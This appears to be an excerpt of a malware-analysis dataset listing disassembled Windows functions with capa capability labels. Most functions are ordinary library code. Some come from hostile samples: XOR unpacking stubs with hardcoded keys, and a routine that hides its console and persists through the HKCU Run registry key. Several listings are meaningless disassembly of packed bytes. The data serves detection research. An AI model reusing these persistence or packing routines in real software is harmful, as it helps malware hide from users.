joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.004082e6

Function at 0x40534a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x405392
call fcn.0041d13d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x405392
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4053d5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4053be
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4053be
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4053d2
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4074b4
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x453daf
call fcn.0043a6f2
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x4074d9
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40751f
lea ecx, [ebp - 0x10]
call fcn.004041e7
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406cd5
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d44
mov eax, esi
call fcn.0043a7ca
ret 8

Function at 0x40824f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041d13d
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x408288
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00407ea0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x4082e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x40830a
cmp dword [edi + 0x54], 0
jne 0x40830a
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041d13d
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004082a7
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40f0c9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40f110
call fcn.0041d13d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f110
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40f12c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040ec43
mov esi, eax
test edi, edi
je 0x40f12a
test ebx, ebx
je 0x40f12a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x414712
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.0041d13d
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x41473f
xor eax, eax
jmp 0x4147e5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x414738
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x414738
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00402ccf
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x414796
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x414785
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.0041341b
push edi
mov ebx, eax
call fcn.00402cfe
pop ecx
test ebx, ebx
je 0x4147d8
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.00413ac5
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.00413b79
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4
Function at 0x43642d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x454771
call fcn.0043a6f2
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.004047e9
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x43648f
call fcn.0041ca17
cmp eax, 1
jne 0x43648f
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00406940
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040587c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402d44
mov dword [ebp + 8], SysReAllocString
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d44
mov eax, esi
call fcn.0043a7ca
ret 0x10

Function at 0x4364b8
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x454771
call fcn.0043a6f2
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.004047e9
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x43651a
call fcn.0041ca17
cmp eax, 1
jne 0x43651a
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00406940
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040587c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402d44
mov dword [ebp + 8], SysReAllocString
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402d44
mov eax, esi
call fcn.0043a7ca
ret 0x14

Function at 0x43986a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46dbc0]
jne 0x439874
repz ret
jmp fcn.0043e671
Function at 0x447847
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043e7e9
and dword [ebp - 4], 0
cmp dword [0x471b4c], 0
mov ebx, eax
jne 0x4478f8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4479a9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45e078
push edi
call esi
test eax, eax
je 0x4479a9
push eax
call fcn.0043e777
mov dword [esp], 0x45e068
push edi
mov dword [0x471b4c], eax
call esi
push eax
call fcn.0043e777
mov dword [esp], 0x45e054
push edi
mov dword [0x471b50], eax
call esi
push eax
call fcn.0043e777
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x471b54], eax
call esi
push eax
call fcn.0043e777
pop ecx
mov dword [0x471b5c], eax
test eax, eax
je 0x4478f8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043e777
pop ecx
mov dword [0x471b58], eax
mov eax, dword [0x471b58]
cmp eax, ebx
je 0x447950
cmp dword [0x471b5c], ebx
je 0x447950
push eax
call fcn.0043e7f2
push dword [0x471b5c]
mov esi, eax
call fcn.0043e7f2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x447950
test edi, edi
je 0x447950
call esi
test eax, eax
je 0x447947
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x447947
test byte [ebp - 0xc], 1
jne 0x447950
or dword [ebp + 0x10], 0x200000
jmp 0x447989
mov eax, dword [0x471b50]
cmp eax, ebx
je 0x447989
push eax
call fcn.0043e7f2
pop ecx
test eax, eax
je 0x447989
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x447989
mov eax, dword [0x471b54]
cmp eax, ebx
je 0x447989
push eax
call fcn.0043e7f2
pop ecx
test eax, eax
je 0x447989
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x471b4c]
call fcn.0043e7f2
pop ecx
test eax, eax
je 0x4479a9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4479ab
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x181e3680
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x29086211
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x404a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ecx, dword [ebx - 0x7d]
in al, dx
or al, 0x8b
or al, 0x53
mov word [edi - 0x73], ss
push eax
pop es
and edx, 0xfffffff8
push esi
ror byte [ebx + 0x55890845], 1
clc
jae 0x404a99
pop esp
inc eax
and byte [ebp + 0x46840fed], al
add al, byte [eax]
std
push 0xc
call eax
add esp, 0xffffffe3
xor eax, eax
pop edi
pop esi
pop ebx
mov eax, ecx
pop ebp
ret 0x5d08
adc byte [eax + 0x2c], dh
mov edi, dword [edx]
adc byte [ebx - 0x6d48582], cl
sub al, 0x8b
cmp dl, byte [eax]
mov edi, dword [esi + 0x7a]
sub edi, ecx
cmp edx, dword [ebp - 0x2efcef89]
pop edi
das
push esi
adc byte [esi + 0x67], bl
rcr dword [ebx - 0x75], 0x72
pop ebp
mov ecx, 0xece0008
mov edi, dword [ecx + 0x14]
mov ebx, dword [ecx + 0x10]
xor bh, bl
jecxz 0x404a9b
ja 0x404ada
mov eax, dword [ecx + 0x1c]
mov edi, dword [ecx]
mov dword [eax], edi
mov eax, ebx
mov eax, dword [0x786f0479]
add al, 0xe9
sub al, 1
or byte [eax], al
dec ecx
imul ebx, dword [eax], 0xffffff8d
mov byte [0xd417], al
add dword [0x52fff000], 0xb21ada3b
or al, 0x84
or bl, 1
pop ecx
add byte [ecx + 0x7e2000fb], al
push esi
add byte [ecx - 0xffffb], al
push edx
cmp ebx, edx
sbb dh, byte [edx - 0x347d7bf4]
add dword [ecx], ebx
cmp ebx, 0x567e2000
pop ebx
or al, bh
inc ebp
inc ebx
add byte [eax], ah
add dl, dh
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x4a13eac1]
cmp edx, 0xffffffff
mov dword [edx - 4], edx
sldt edi
add dword [eax], eax
add byte [ebx], bh
pop ss
pmulhw mm0, qword [ebp - 0x74ffff30]
inc edi
scasd eax, dword es:[edi]
test eax, eax
je 0x404b2b
push eax
call fcn.0040a1d0
add byte [eax], al
mov edx, dword [ebp - 4]
mov ebx, dword [edi + edx*4 + 0x14]
mov ecx, dword [edi]
lea eax, [edi + edx*4 + 0x14]
test ebx, ebx
jne 0x404b4d
cmp edx, ecx
jae 0x404b4d
lahf
pop edx
sub eax, dword [ebx - 0x7abdfb24]
invalid
mov ebx, dword [eax]
test dword [ebp + 0x74f45d60], ebp
jg 0x404ae2
sbb eax, dword [ebp + 0x1a1889db]
adc eax, 0x1155d13b
mov edx, dword [eax + 0x3d]
sub eax, 0x3d
dec ecx
test edx, edx
jne 0x404b71
test ecx, ecx
ja 0x404b62
mov dword [edi], ecx
rcr dword [ebp - 0xc], 1
mov eax, dword [edi + 8]
mov ecx, dword [ebx + 8]
add eax, ecx
mov dword [edi + 8], eax
mov ecx, eax
mov edx, ebx
add al, 0x3b
enter 0x376, 0x77
inc edi
or byte [ebx - 0x7af381], cl
je 0x404b9a
push edi
call 0x9440a340
lea edx, [ebx + 0x18]
sub edx, dword [ebx + 0x10]
jmp 0x55404c3f
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
dec esp
in al, dx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x6e]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push 1
push ecx
mov ebx, dword [ebx + 0xc]
push edx
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call 0x4110f0
scasd eax, dword es:[edi]
les ebx, [ebx*2 - 0x766f6f3d]
pop ebp
ret
nop
nop
mov dword [eax - 0x6f6f6ff0], edx
nop
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp - 5], 0x4f
jl 0x407f37
pop esi
inc ebp
adc byte [esi - 0x47], cl
add byte [esi], bl
fisttp qword [ebx + 0x308ddcc1]
invalid
push ebp
add byte [edx + 0x45], bh
mov dl, byte [eax + 0x6e]
push edx
call dword [0x8340c118]
sti
pop ebp
or ch, bl
inc ebp
in al, dx
fcomp qword [0x40c2ac]
or edi, 0xc
fnstsw ax
add eax, esp
inc esp
jnp 0x407fcd
invalid
mov bl, 0x45
and eax, 0xc230e7dc
inc eax
xor al, 0xdf
loopne 0x407ffe
add byte [ecx], al
add byte [ebp + 0x3e], dh
fld qword [ebp + 8]
fmul qword [0x638cb5f8]
js 0x40803f
hlt
fdivr st(0)
ret 0x40
inc edx
ret
Function at 0x40b080
Capabilities:
Read file on windows
Read pipe

Disassembly:
ret 0xdb08
push ebp
mov ebp, esp
inc edx
mov esi, dword [ebp + 8]
inc edi
mov esp, esp
adc byte [ebx + 0x4e8b1046], cl
adc al, 0xb
rcl dword [eax + 0x841045], 0
out dx, al
jne 0x40b10d
mov dh, byte [esi + 0x74c08408]
push 0xffffffffffffff8b
push esi
add al, 0x8d
dec ebp
or byte [edx], ch
push ecx
push 0x3d
push 0x62
push 0xffffffffffffffb2
push edx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x40b068
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jne 0x40b0e9
mov ecx, dword [ebp + 0x14]
pop edi
pop esi
mov dword [ecx], eax
pop ebp
ret
pop esi
mov dword [ecx], 0x8700
pop ebp
movsb byte es:[edi], byte [esi]
jmp 0xc0c5b93c
push ds
inc esi
or al, 0x85
shl byte [ecx + 0x23], 0x8a
dec esi
or byte [ecx + ecx*8 - 0xa74618b], al
push eax
mov dword [edx], ecx
or byte [edx], al
inc esi
push eax
mov esi, esp
push esp
sbb al, dh
add byte [eax], al
add al, ch
fistp word [ebp]
add byte [ebx + 0x29890c56], cl
or al, 0x8b
inc esi
add byte [ebx - 0x72acf3ab], cl
dec ebp
adc byte [eax - 0x75], dl
dec ebx
add al, 0x64
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40b15a
xor eax, eax
jmp 0x65b9b2b1
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
test eax, eax
bndstx [ebx], bnd3
mov bl, 0
xor eax, 0xfc8005d7
or al, byte [eax]
cmp eax, 0x5f0065
jne 0xbbb24f
mov edx, esi
xor eax, 0x8b0040c0
dec esi
fisttp word [ebx - 0x367aefba]
cmpsb byte [esi], byte es:[edi]
push ss
jg 0x40b1b0
test eax, eax
push esi
adc byte [edx], ch
push 0xc11fe8
push ecx
push eax
call 0x40e11b
jmp 0x40b1ef
dec esi
test dword ss:[ebx - 0xad36af], ecx
xor byte [ebx - 0x333e7e20], cl
mov esi, 0xbf74002a
or bh, bh
xchg ebp, eax
xor dword [ecx + 0x4b410960], esp
mov esp, dword [esi - 0x68]
test eax, eax
jne 0x40b1eb
push eax
push str.CancelIo
push eax
call 0xffcaa940
add esp, 0xc
cmp al, 0x60
or dword [edx], ebp
add byte [ebp + 0x53057428], al
push ebx
call eax
jmp 0x40b1f8
or byte [edx + 1], ch
call dword [esi + 0x2e614c]
stosb byte es:[edi], al
dec esi
or al, 0x8b
push esi
add al, 0x8d
inc ebp
adc byte [edx + 1], ch
test byte [ecx + 0x52], dl
invalid
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x37991e4c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x383e7c51
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401318
Capabilities:
Hide graphical window
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
call sym._AllocConsole_0
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sym._FindWindowA_8
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0x10], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401391
mov eax, 0xffffffff
jmp 0x40142d
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x4013bf
mov eax, 0xffffffff
jmp 0x40142d
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x11c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MASTER
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
setne al
test al, al
je 0x40141a
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 0xffffffff
jmp 0x40142d
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 0
leave
ret 0x10

Function at 0x40427c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov eax, dword [eax + 0x10]
mov dword [esp], eax
call sym._read
mov ebx, eax
cmp eax, 0xffffffff
je 0x4042b4
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
leave
ret
call sym.__errno
cmp dword [eax], 4
je 0x40428b
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
leave
ret
Function at 0x413140
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x413166
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4131fa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x4131b5
cmp eax, 0x40
je 0x4131b5
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x413159
cmp eax, 0x40
je 0x413159
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x413159
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sym.__assert
lea esi, [esi]
lea edi, [edi]

Function at 0x413470
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
je 0x413510
movzx edx, byte [ebx]
cmp dl, 9
je 0x413554
cmp dl, 0x20
je 0x413554
cmp dl, 0x22
je 0x4134f4
cmp dl, 9
mov eax, edx
je 0x413508
cmp dl, 0x20
je 0x413560
test dl, dl
lea esi, [esi]
jne 0x4134e2
jmp 0x413510
cmp al, 0x20
je 0x413560
test al, al
nop
je 0x413510
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x4134d4
jmp 0x413508
cmp al, 0x22
je 0x4134fe
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x4134f0
cmp al, 0x22
jne 0x413508
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x413560
cmp al, 9
je 0x413560
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x41351f
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
add ebx, 1
jmp 0x4134a1
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x413560
cmp al, 0x20
jne 0x413510
nop
jmp 0x413560
Function at 0x413838
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x47a040]
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x413874
mov dword [ebx + 0x24], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call sym.___mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x28], eax
add esp, 0x14
pop ebx
leave
ret
call sym._GetLastError_0
jmp 0x413862

Function at 0x413998
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, eax
mov esi, edx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
mov edx, dword [ebx + 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [esi]
jmp 0x4139c1
mov dword [eax + 0x20], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
test eax, eax
je 0x413a88
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x2c], eax
xor edi, edi
mov eax, 0xa
mov ecx, dword [ebp - 0x1c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 1
call dword [ebp - 0x20]
test eax, eax
jne 0x413aac
cmp edi, 5
je 0x413ab1
mov edx, dword [ebp - 0x2c]
test edx, edx
je 0x413a4b
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call dword [ebp - 0x2c]
mov edi, eax
cmp eax, 7
je 0x413ab1
cmp eax, 8
jne 0x413aac
mov eax, dword [esi]
mov edi, dword [eax]
mov eax, dword [0x47a040]
mov edx, dword [eax + 0x28]
test edx, edx
js 0x413a9c
test edx, edx
je 0x4139b8
mov dword [esp + 4], edi
mov eax, dword [eax + 0x24]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
jne 0x4139bb
call sym._GetLastError_0
jmp 0x4139bb
mov dword [ebp - 0x2c], 0
mov edi, 5
mov al, 0x1a
jmp 0x4139d6
call dbg.fc_key_init_once
mov eax, dword [0x47a040]
mov edx, dword [eax + 0x28]
jmp 0x413a5b
mov edi, 2
mov eax, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret